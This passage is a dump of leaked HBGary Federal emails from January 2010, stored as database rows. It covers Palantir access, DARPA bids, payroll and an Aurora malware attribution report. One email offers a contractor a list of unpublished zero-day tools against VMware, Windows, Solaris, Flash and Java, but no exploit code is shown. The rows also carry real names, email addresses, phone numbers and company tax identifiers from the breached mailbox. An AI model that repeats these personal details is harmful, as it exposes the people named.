wrote:\r\n>>\r\n>>> Sorry I was sucky and late to the call.  Just forward me the email  \r\n>>> addresses of the developers on the call and Ill hook them up with  \r\n>>> our resources.\r\n>>>\r\n>>> Let me know if you want to chat sometime this week.\r\n>>>\r\n>>> -Matt\r\n>>>\r\n>>> Matthew Steckman\r\n>>> Palantir Technologies | Forward Deployed Engineer\r\n>>> msteckman@palantirtech.com | 202-257-2270\r\n>>>\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Wednesday, January 06, 2010 4:37 PM\r\n>>> To: Matthew Steckman\r\n>>> Subject: Conference Call\r\n>>>\r\n>>> Hey Matt,\r\n>>>\r\n>>> We have a conference call scheduled for right now right?\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n\r\n',14147,'aaron_hbgary_com/14147.html'),(1694,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000524.M784337P3547Q1694.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Conference Call','why yes I did.  Ok.  Now we are even.\r\n\r\n\r\nOn Jan 28, 2010, at 11:08 AM, Matthew Steckman wrote:\r\n\r\n> Hmm, you should have received an email from our support team with  \r\n> your credentials.\r\n>\r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, January 28, 2010 11:07 AM\r\n> To: Matthew Steckman\r\n> Subject: Re: Conference Call\r\n>\r\n> I figured I probably did.  Any particular info I need to get in?\r\n>\r\n> Greg@hbgary.com\r\n> Greg Hoglund\r\n>\r\n>\r\n> On Jan 28, 2010, at 11:04 AM, Matthew Steckman wrote:\r\n>\r\n>> I think you have credentials?  Also, what\'s Greg\'s email?\r\n>>\r\n>> Matthew Steckman\r\n>> Palantir Technologies | Forward Deployed Engineer\r\n>> msteckman@palantirtech.com | 202-257-2270\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, January 28, 2010 6:12 AM\r\n>> To: Matthew Steckman\r\n>> Subject: Re: Conference Call\r\n>>\r\n>> Matt,\r\n>>\r\n>> Did I get added to the Dev Zone?  Can Greg be added?  Not like we\r\n>> are trying to get the whole company on there, but the two of us\r\n>> would be helpful.\r\n>>\r\n>> THanks,\r\n>> Aaron\r\n>>\r\n>>\r\n>> On Jan 7, 2010, at 5:57 PM, Matthew Steckman wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>> Can you send me first and last name of those folks?  Just need it\r\n>>> for their account submittal.\r\n>>>\r\n>>> Yeah, we saw that IARPA thing.  They are basically asking for\r\n>>> Palantir which is kind of odd.  We are going to respond with\r\n>>> something like, \"Hey, this is already built, but we\'ll take your\r\n>>> money for some R&D\"\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Thursday, January 07, 2010 8:02 AM\r\n>>> To: Matthew Steckman\r\n>>> Subject: Re: Conference Call\r\n>>>\r\n>>> Hey Matt,\r\n>>>\r\n>>> No worries.  I think we will be able to turn something around\r\n>>> pretty quickly here for integration, then just a matter of what do\r\n>>> we want to demo.\r\n>>>\r\n>>> Developers:\r\n>>> Kam@hbgary.com\r\n>>> michael@hbgary.com\r\n>>> scott@hbgary.com\r\n>>> and if it is any benefit aaron@hbgary.com\r\n>>>\r\n>>> How about Friday? I am open.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> Also,  do you know anything about the IARPA BAA, link listed\r\n>>> below.  Maybe a bit of a stretch but it seems like there could be\r\n>>> some applicability.\r\n>>>\r\n>>> http://www.iarpa.gov/solicitations_kdd.html\r\n>>>\r\n>>>\r\n>>>\r\n>>> On Jan 6, 2010, at 6:09 PM, Matthew Steckman wrote:\r\n>>>\r\n>>>> Sorry I was sucky and late to the call.  Just forward me the email\r\n>>>> addresses of the developers on the call and Ill hook them up with\r\n>>>> our resources.\r\n>>>>\r\n>>>> Let me know if you want to chat sometime this week.\r\n>>>>\r\n>>>> -Matt\r\n>>>>\r\n>>>> Matthew Steckman\r\n>>>> Palantir Technologies | Forward Deployed Engineer\r\n>>>> msteckman@palantirtech.com | 202-257-2270\r\n>>>>\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Wednesday, January 06, 2010 4:37 PM\r\n>>>> To: Matthew Steckman\r\n>>>> Subject: Conference Call\r\n>>>>\r\n>>>> Hey Matt,\r\n>>>>\r\n>>>> We have a conference call scheduled for right now right?\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>\r\n\r\n',11787,'aaron_hbgary_com/11787.html'),(1695,'2010-01-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000524.M953955P3547Q1695.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: FBO Watch List Notifications','---------- Forwarded message ----------\r\nFrom:  \r\nDate: Thu, Jan 28, 2010 at 1:03 AM\r\nSubject: FBO Watch List Notifications\r\nTo: ted@hbgary.com\r\n\r\n\r\nThursday, January 28, 2010, 03:03 am\r\n\r\nDear Ted H. Vera:\r\n\r\nThis message has been sent to inform you of update(s) to\r\nsolicitation(s) where you have either expressed vendor interest in the\r\nopportunity, or placed the notice on your watchlist.  Please see the\r\ndetails below.\r\n\r\nDetails\r\n------------------\r\n\r\n       Top Level Agency: Department of the Air Force\r\n       Office: Air Force Materiel Command\r\n       Location: ESC - Electronic Systems Center\r\n\r\n               Solicitation #: R2316\r\n               Title: A -- NETWORK WARFARE OPERATIONS CAPABILITIES\r\n               Link: https://www.fbo.gov/spg/USAF/AFMC/ESC/R2316/listing.html\r\n\r\n                 A change has been posted: Jan 27, 2010 5:45 pm\r\n                 Attachments:\r\n                  RFP Program Files\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',7388,'aaron_hbgary_com/7388.html'),(1696,'2010-01-28','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000525.M421976P3547Q1696.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Report writeup so far on Phil\'s Aurora (with attachment this 	time)','I want to get some direction on where to go with the Palantir part of the analysis, and also I am eager to get an update on this report format from you.\r\n \r\n-Greg\r\nOn Thu, Jan 28, 2010 at 5:36 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nThis is what we need as a product.  This will also be good to bring to the briefing on the 9th so hopefully we can get as much of this filled in as possible.  I will do what I can.  I am doing some background research on Aurora to get a lot of the historical information and update the forward.  Also doing lots of translationed analysis of links related to some of the data you listed.   \r\n\r\nTake for example.\r\n\r\nhttp://www.leiun.com/whmtorrent/blog\r\n\r\nThis blog looks like it started to be populated with shell code on Dec. 25th to present.  In Palantir we can injest each on of these pieces as a separate object.  Search to see if these objects show up in multiple places, list those.  Note the spread using palantirs histogram functions.  Exciting.  Also noting the times of communications between different personas involved you can watch spread as well.  Palantir is the perfect interface for use to provide premier threat intelligence.  For the first or so reports manual will have to work, but your right we have to automate some of this eventually.  I want to get as much of this done for my meeting with ARSTRAT next Wednesday.  This report will go along way in showing our value to them.\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 27, 2010, at 6:32 PM, Greg Hoglund wrote:\r\n\r\n\r\n\r\n\r\nSrry, missed attachement,\r\n \r\nOn Wed, Jan 27, 2010 at 3:32 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nTeam,\r\n \r\nSee the attached.  Something along these lines would make a nice report.  What is really cool - I was able to trace a toolmark to a developer of one of Phil&#39;s droppers, and from this, I found another place where individuals can obtain technical support on the dropper - so this represents going from toolmark, to developer, to user (operator) of the malware.  That is about as good as it gets.\r\n\r\n \r\n-Greg&lt;Aurora_report.docx&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12631,'aaron_hbgary_com/12631.html'),(1697,'2010-01-28','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000525.M705545P3547Q1697.eml','\"Aaron Barr\" <aaron@hbgary.com>','send. me. endgames. stuff.','yo yo yo\r\n \r\n-G\r\n',340,'aaron_hbgary_com/340.html'),(1698,'2010-01-28','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000525.M908101P3547Q1698.eml','all@hbgary.com','Last lap of Responder 2.0 development !',' \r\nAll,\r\n \r\nWe are in the last lap of Responder 2.0 development!  We are in there polishing the parts.  Lots of small detail work.  This is a fine, fine product.  This should hit next week, heads up.  Need blog posts.  Need tweets.  Need sizzle.  Boom, boom boom!\r\n\r\n \r\n-Greg\r\n',8607,'aaron_hbgary_com/8607.html'),(1699,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000526.M108409P3547Q1699.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: send. me. endgames. stuff.','I sent you a ppt yesterday you didn\'t get it?\r\n\r\nI haven\'t gotten anything new yet.\r\nAaron\r\n\r\nOn Jan 28, 2010, at 11:21 AM, Greg Hoglund wrote:\r\n\r\n> yo yo yo\r\n>  \r\n> -G\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4880,'aaron_hbgary_com/4880.html'),(1700,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000526.M297650P3547Q1700.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Report writeup so far on Phil\'s Aurora (with attachment this  time)','kOn Jan 28, 2010, at 11:19 AM, Greg Hoglund wrote:I want to get some direction on where to go with the Palantir part of the analysis, and also I am eager to get an update on this report format from you.\r\n&nbsp;\r\n-Greg\r\nOn Thu, Jan 28, 2010 at 5:36 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nThis is what we need as a product. &nbsp;This will also be good to bring to the briefing on the 9th so hopefully we can get as much of this filled in as possible. &nbsp;I will do what I can. &nbsp;I am doing some background research on Aurora to get a lot of the historical information and update the forward. &nbsp;Also doing lots of translationed analysis of links related to some of the data you listed. &nbsp; \r\n\r\nTake for example.\r\n\r\nhttp://www.leiun.com/whmtorrent/blog\r\n\r\nThis blog looks like it started to be populated with shell code on Dec. 25th to present. &nbsp;In Palantir we can injest each on of these pieces as a separate object. &nbsp;Search to see if these objects show up in multiple places, list those. &nbsp;Note the spread using palantirs histogram functions. &nbsp;Exciting. &nbsp;Also noting the times of communications between different personas involved you can watch spread as well. &nbsp;Palantir is the perfect interface for use to provide premier threat intelligence. &nbsp;For the first or so reports manual will have to work, but your right we have to automate some of this eventually. &nbsp;I want to get as much of this done for my meeting with ARSTRAT next Wednesday. &nbsp;This report will go along way in showing our value to them.\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 27, 2010, at 6:32 PM, Greg Hoglund wrote:\r\n\r\n\r\n\r\n\r\nSrry, missed attachement,\r\n&nbsp;\r\nOn Wed, Jan 27, 2010 at 3:32 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nTeam,\r\n&nbsp;\r\nSee the attached.&nbsp; Something along these lines would make a nice report.&nbsp; What is really cool - I was able to trace a toolmark to a developer of one of Phil\'s droppers, and from this, I found another place where individuals can obtain technical support on the dropper - so this represents going from toolmark, to developer, to user (operator) of the malware.&nbsp; That is about as good as it gets.\r\n\r\n&nbsp;\r\n-Greg&lt;Aurora_report.docx&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5704,'aaron_hbgary_com/5704.html'),(1701,'2010-01-28','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000526.M489979P3547Q1701.eml','\"Greg Hoglund\" <greg@hbgary.com>,all@hbgary.com','RE: Last lap of Responder 2.0 development !','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nROLLING THUNDER!!!! OOOOHHHRRAAAAHHHHH!!!&nbsp;&nbsp; I&#8217;m FIRED UP!!!! \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Thursday, January 28, 2010 11:25 AM\r\nTo: all@hbgary.com\r\nSubject: Last lap of Responder 2.0 development !\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe are in the last lap of Responder 2.0 development!&nbsp;\r\nWe are in there polishing the parts.&nbsp; Lots of small detail work.&nbsp; This\r\nis a fine, fine product.&nbsp; This should hit next week, heads up.&nbsp; Need\r\nblog posts.&nbsp; Need tweets.&nbsp; Need sizzle.&nbsp; Boom, boom boom!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3853,'aaron_hbgary_com/3853.html'),(1702,'2010-01-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000526.M691499P3547Q1702.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Operating Agreement','Thanks.  Aaron and I both could use a paycheck this week :)\r\n\r\nTed\r\n\r\nOn Thu, Jan 28, 2010 at 10:15 AM, Penny Leavy-Hoglund  wrote:\r\n> I should don\'t have it yet, I am calling Nadir to see if we can move forward\r\n> without it\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Thursday, January 28, 2010 9:14 AM\r\n> To: Penny Leavy-Hoglund\r\n> Subject: Re: Operating Agreement\r\n>\r\n> Spoke to Bob this morning and he mentioned that he fedex\'d it to you\r\n> yesterday, so you should have it today.\r\n>\r\n> Ted\r\n>\r\n> On Wed, Jan 27, 2010 at 4:48 PM, Penny Leavy-Hoglund \r\n> wrote:\r\n>> Waiting for Bob\'s wife\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Wednesday, January 27, 2010 1:55 PM\r\n>> To: Penny Leavy\r\n>> Subject: Operating Agreement\r\n>>\r\n>> Hi Penny,\r\n>>\r\n>> Aaron told me he sent you the signed agreement.  Do you have all the\r\n>> signatures now to set up the bank acct?  You mentioned new signature\r\n>> cards.  Is it safe to assume that\'s for the folks who didn\'t sign them\r\n>> in Sacramento?  Please let me know if there is anything you need from\r\n>> us, we\'d like to get this taken care of so we can do paychecks this\r\n>> week if at all possible.\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',1487,'aaron_hbgary_com/1487.html'),(1703,'2010-01-28','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000526.M919507P3547Q1703.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: send. me. endgames. stuff.','yeah didnt get it.\r\n \r\n-Greg\r\nOn Thu, Jan 28, 2010 at 8:34 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI sent you a ppt yesterday you didn&#39;t get it?I haven&#39;t gotten anything new yet.Aaron\r\nOn Jan 28, 2010, at 11:21 AM, Greg Hoglund wrote:&gt; yo yo yo&gt;&gt; -G\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n',14582,'aaron_hbgary_com/14582.html'),(1704,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000535.M570329P3547Q1704.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: send. me. endgames. stuff.','ok.\r\n\r\n\r\nOn Jan 28, 2010, at 12:21 PM, Greg Hoglund wrote:\r\n\r\n> yeah didnt get it.\r\n>\r\n> -Greg\r\n>\r\n> On Thu, Jan 28, 2010 at 8:34 AM, Aaron Barr  wrote:\r\n> I sent you a ppt yesterday you didn\'t get it?\r\n>\r\n> I haven\'t gotten anything new yet.\r\n> Aaron\r\n>\r\n> On Jan 28, 2010, at 11:21 AM, Greg Hoglund wrote:\r\n>\r\n> > yo yo yo\r\n> >\r\n> > -G\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n',12489,'aaron_hbgary_com/12489.html'),(1705,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000536.M637351P3547Q1705.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: send. me. endgames. stuff.','so not much in that briefing...hopefully they send me the other stuff.AaronOn Jan 28, 2010, at 12:21 PM, Greg Hoglund wrote:yeah didnt get it. &nbsp; -Greg On Thu, Jan 28, 2010 at 8:34 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote: I sent you a ppt yesterday you didn\'t get it?I haven\'t gotten anything new yet.Aaron On Jan 28, 2010, at 11:21 AM, Greg Hoglund wrote:&gt; yo yo yo&gt;&gt; -G   Aaron BarrCEOHBGary Federal Inc.',9830,'aaron_hbgary_com/9830.html'),(1706,'2010-01-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000536.M831197P3547Q1706.eml','\"Martin Pillion\" <martin@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,','General Dynamics','Hi Martin,\r\n\r\nI understand that Greg would like to start transitioning you off of\r\nthe GD work to focus on HBGary core priorities.  Aaron and I would\r\nlike to learn more about this work, do you have some time this week\r\nfor a telecon so you could give us a high level overview?  Do you know\r\nanyone that would be a good candidate to continue the project, that we\r\ncould pursue for potential hire?\r\n\r\nThanks,\r\nTed\r\n',10038,'aaron_hbgary_com/10038.html'),(1707,'2010-01-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000537.M101394P3547Q1707.eml','\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: Tools','Hello again Ben,\r\n\r\nI just wanted to touch base to see how things are going and find out\r\nif you\'ve made any progress toward adding HBGary as an approved GD\r\nvendor.  Hope all is well.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Fri, Jan 8, 2010 at 12:28 PM, Ted Vera  wrote:\r\n> Hi Ben,\r\n>\r\n> I hope you had a good holiday.  Please let me know if there is\r\n> anything else you need from us to get HBGary Federal listed as an\r\n> approved vendor.  Is GD willing to sponsor our clearances, so we can\r\n> provide classified support?\r\n>\r\n> Regards,\r\n> Ted\r\n>\r\n> On Tue, Dec 22, 2009 at 2:18 PM, Ted Vera  wrote:\r\n>> Hi Ben,\r\n>> Below is the information you requested and attached is a facility security\r\n>> clearance sponsor letter.  If you fill this out and submit to DSS it will\r\n>> enable us to provide classified support to your contracts.  (This is not for\r\n>> sponsoring a SCIF, it would just allow us to have classified discussions and\r\n>> provide on-site classified support as needed).\r\n>> HBGary Federal, LLC\r\n>>\r\n>> DUNS:  832950831\r\n>>\r\n>> CAGE:  5U1U6\r\n>>\r\n>> EIN:  27-1485507\r\n>> Hope you have a happy holiday!\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>> On Tue, Dec 15, 2009 at 1:02 PM, Wilson, Ben N. \r\n>> wrote:\r\n>>>\r\n>>> Greetings Ted,\r\n>>>\r\n>>>\r\n>>>\r\n>>> Thank you again for coming to our facility and meeting with us.\r\n>>>\r\n>>>\r\n>>>\r\n>>> When you have time, please send Company ID, Tax ID, etc. so I can forward\r\n>>> to contracts to get you on the approved vendor list.\r\n>>>\r\n>>>\r\n>>>\r\n>>> Thanks,\r\n>>>\r\n>>> Ben Wilson\r\n>>>\r\n>>>\r\n>>>\r\n>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>> Sent: Tuesday, December 15, 2009 11:58 AM\r\n>>> To: Wilson, Ben N.\r\n>>> Subject: Tools\r\n>>>\r\n>>>\r\n>>>\r\n>>> Hi Ben,\r\n>>>\r\n>>>\r\n>>>\r\n>>> It was great meeting you again.  Below is a list of the current\r\n>>> unpublished 0-day tools that we have on the shelf.  You mentioned interest\r\n>>> in the VMWare tool, so I\'ve attached a summary description.  Please let me\r\n>>> know if you are interested in any of the other tools, or if you have further\r\n>>> questions.\r\n>>>\r\n>>> ·         VMware ESX and ESXi *\r\n>>>\r\n>>> ·         Win2K3 Terminal Services\r\n>>>\r\n>>> ·         Win2K3 MSRPC\r\n>>>\r\n>>> ·         Solaris 10 RPC\r\n>>>\r\n>>> ·         Adobe Flash *\r\n>>>\r\n>>> ·         Sun Java *\r\n>>>\r\n>>> ·         Win2k Professional & Server\r\n>>>\r\n>>> Regards,\r\n>>>\r\n>>> Ted\r\n>>>\r\n>>> --\r\n>>> Ted H. Vera\r\n>>> President | COO\r\n>>> HBGary Federal\r\n>>>\r\n>>> 719-237-8623\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal, Inc.\r\n>> 719-237-8623\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal, Inc.\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',10907,'aaron_hbgary_com/10907.html'),(1708,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000537.M346427P3547Q1708.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Last lap of Responder 2.0 development !','I requested a palantir account for you so you should get an email with the details.\r\n\r\nAaron\r\n\r\n\r\nOn Jan 28, 2010, at 11:25 AM, Greg Hoglund wrote:\r\n\r\n>  \r\n> All,\r\n>  \r\n> We are in the last lap of Responder 2.0 development!  We are in there polishing the parts.  Lots of small detail work.  This is a fine, fine product.  This should hit next week, heads up.  Need blog posts.  Need tweets.  Need sizzle.  Boom, boom boom!\r\n>  \r\n> -Greg\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16587,'aaron_hbgary_com/16587.html'),(1709,'2010-01-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000537.M559788P3547Q1709.eml','\"Barr Aaron\" <aaron@hbgary.com>','Bill','Couple of ideas.\r\n\r\nEnumerate hosts used in cyber-attacks.  Notify owners of hosts that\r\nhave been identified as participating in a bot-net or other cyber\r\nattack platform.\r\nMethods which can attribute an attack to a specific host or hosts.\r\nmethods which can attribute malware to specific author(s).\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',4920,'aaron_hbgary_com/4920.html'),(1710,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000537.M748853P3547Q1710.eml','\"Cassie Robinson\" <cassie.robinson@ngc.com>,\"Cassie Robinson\" <cassie.robinson@ngc.com>','Lunch with Tom','Hi Cassie,\r\n\r\nI am not sure where Tom is going to be.  Any chance we can change the lunch location to somewhere in Arlington/Rosslyn.  There is a DARPA proposers day for their Cyber Genome Project all day tomorrow.  I am also scheduled to go and present at the second session on Feb. 9th, so don\'t need to make the whole day but would like to do some glad handing...all that to say.   If we could move the location then I can cut out for a bit to have lunch, which I am looking forward to.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11340,'aaron_hbgary_com/11340.html'),(1711,'2010-01-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000538.M2154P3547Q1711.eml','\"Barr Aaron\" <aaron@hbgary.com>','GD / Consultant','This is her:\r\n\r\nSherri Sparks, President\r\nClearhat Consulting\r\nhttp://clearhatconsulting.com/index.php\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',11149,'aaron_hbgary_com/11149.html'),(1712,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000538.M247967P3547Q1712.eml','\"Harris, Irene G (TASC Inc)\" <irene.harris@TASC.COM>,\"Harris, Irene G (TASC Inc)\" <irene.harris@TASC.COM>','Meeting with Al Pisani','Hi Irene,\r\n\r\nIs it possible to reschedule my meeting with Al tomorrow morning for next Thursday (anytime) or next Friday afternoon?\r\n\r\nThere is a DARPA proposers day for an opportunity that is right up our alley that popped up last minute for all day tomorrow.\r\n\r\nThank you.\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9132,'aaron_hbgary_com/9132.html'),(1713,'2010-01-28','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297000538.M442173P3547Q1713.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Lunch with Tom','Aaron -- are we talking tomorrow or the 9th of Feb? I have you on Tom\'s\r\ncalendar for tomorrow.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, January 28, 2010 1:20 PM\r\nTo: Robinson, Cassie\r\nCc: Conroy, Thomas W.\r\nSubject: Lunch with Tom\r\n\r\nHi Cassie,\r\n\r\nI am not sure where Tom is going to be.  Any chance we can change the\r\nlunch location to somewhere in Arlington/Rosslyn.  There is a DARPA\r\nproposers day for their Cyber Genome Project all day tomorrow.  I am\r\nalso scheduled to go and present at the second session on Feb. 9th, so\r\ndon\'t need to make the whole day but would like to do some glad\r\nhanding...all that to say.   If we could move the location then I can\r\ncut out for a bit to have lunch, which I am looking forward to.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3678,'aaron_hbgary_com/3678.html'),(1714,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000538.M661772P3547Q1714.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Other Opportunity','Interesting.So Dave is moving to Johns Hopkins to work on their National Cyber Range program. &nbsp;He is going to touch base once he gets his feet on the ground.AaronBegin forwarded message:From: \"Balenson, David\" &lt;David.Balenson@cobham.com&gt;Date: January 27, 2010 4:08:49 PM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Cc: \"Balenson, David\" &lt;David.Balenson@cobham.com&gt;, \"Mettala, Erik\" &lt;Erik.Mettala@cobham.com&gt;, \"Schwab, Stephen\" &lt;Stephen.Schwab@cobham.com&gt;, \"Lyda, Robert\" &lt;Robert.Lyda@cobham.com&gt;Subject: RE: Other OpportunityAaron-Thanks for your inquiry regarding the Cyber Genome BAA. We\'d be happy todiscuss and explore possible ways to work together. As I mentioned in myvoicemail, tomorrow will be my last day at SPARTA. The folks who will beleading our efforts on the BAA are:Robert Lyda, robert.lyda@cobham.com, 443-430-8053Stephen Schwab, stephen.schwab@cobham.com, 703-879-1645Erik Mettala, erik.mettala@cobham.com, 443-430-8059They will be attending the Industry Day on Friday, so if you or othermembers of your team are there, please look for them.Thanks and regards,-DB------------------------------------------------------------------------------------------------David M. Balenson, Division Manager, Security ResearchSPARTA National Security SectorCobham Analytic SolutionsTel: 443.430.8004Fax: 443.430.8153Email: David.Balenson@cobham.com-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 26, 2010 11:54 AMTo: Balenson, DavidCc: Aaron BarrSubject: Other OpportunityDave,Just noticed were are also both listed as interested parties for theCyber Genome Project for DARPA. &nbsp;Not sure if you are aware of HBGary\'sDigital DNA technology and our own Global Malware Genome we already havebuilt.I would be interested to discuss opportunities.Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16880,'aaron_hbgary_com/16880.html'),(1715,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000539.M245071P3547Q1716.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','Re: Virtual Introduction','How does next Thursday work? &nbsp;It shows I responded to you already but not sure what I responded with...a bit crazy here as well. :)AaronOn Jan 26, 